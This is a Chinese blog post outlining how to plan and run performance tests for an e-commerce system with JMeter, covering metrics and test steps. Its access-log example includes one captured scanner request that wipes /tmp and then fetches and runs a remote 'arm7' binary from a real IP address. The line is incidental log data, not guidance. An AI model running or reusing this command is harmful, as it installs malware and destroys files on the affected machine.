实战 | 电商业务的性能测试(一): 必备基础知识

  • 需求分析与测试设计(性能需求目标+业务模型拆解)
    • 测试数据准备和构造(基于模型的数据准备)
    • 性能指标预期(性能需求目标)
    • 发压工具配置及脚本编写(压力策略)
    • 测试过程(预计的前置准备过程和压测时间点规划)
    • 结果分析与测试报告
    • 新上线系统性能测试:要求容量测试,系统最大容量
    • 系统升级类性能测试:和基线版本对比,性能不下降
    • 新系统性能优化测试:伴随调优目标的性能测试
    • 自己构造:自己抓包等,这个有个问题就是后端可能有缓存而造成对实际压力程度的影响
    • 日志获取:推荐常用,通过日志或数据库获取大批量的数据然后打散
  • $ cat access.log | awk ‘{print $7}’ | sort | uniq -c | sort -nr | head -15
  • 4709 /sso/register
  • 4703 /sso/login
  • 157 400
  • 139 /
  • 8 http://www.baidu.com/cache/global/img/gs.gif
  • 5 /index.php
  • 4 mstshash=Administr"
  • 4 /license.txt
  • 4 ip.ws.126.net:443
  • 4 "
  • 2 /sso/getAuthCode?telephone=17138134641
  • 2 /sso/getAuthCode?telephone=17127460936
  • 2 /shell?cd+/tmp;+rm±rf+*;+wget+http://45.148.10.194/arm7;+chmod+777+arm7;+./arm7+rep.arm7
  • 2 /robots.txt
  • 2 /phpmyadmin/

- 上下关联:
- - 1.每秒请求数(QPS)
- - 2.请求响应时间(最大,最小,平均值)
- - 3.错误率
- - 4.机器性能:cpu idel30%,memory无剧烈抖动或飙升
- - 5.压测过程接口功能是否正常
- - 6.不同性能测试方式下指标预期是否有差异
- - 压测场景:单接口/复杂事物——>场景构造
- - 压力需求:<1000QPS 或者万级以上的使用Jmeter分布式支持的方式
- - 是否周期性:Jmeter jmx场景文件,数据驱动,结果落库
- - 二次开发需求:Jmeter开源插件化思想,支持Thrift
- - 协议支持:Dubbo等多种协议,可以快速平台化
- - 问题支持:开放社区,广泛使用
- - 1、测试前环境检查:记录机器参数
- - 2、起压:根据被压情况,调节并发量到合适情况
- - 3、查看记录各项性能指标
- - nginx日志查看每秒请求数
- - 查看nginx错误请求
- - 查看机器参数:cpu idel、mem等
- - 查看db、cache等数据是否写入正常
- - 访问接口,查看功能是否正常
- [原文链接](https://mp.weixin.qq.com/s?__biz=MzU3NDM4ODEzMg==&mid=2247492737&idx=1&sn=a37df39cfd3204bb6ad89a831d0b348e&chksm=fd31864aca460f5c0c2a47d2dde8bd096c1a91496de4b129aa7dc7322090989315db4eacb69c#rd) 
[获取更多技术文章分享](https://qrcode.ceba.ceshiren.com/link?name=article&project_id=qrcode&from=csdn2&timestamp=1650788084)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值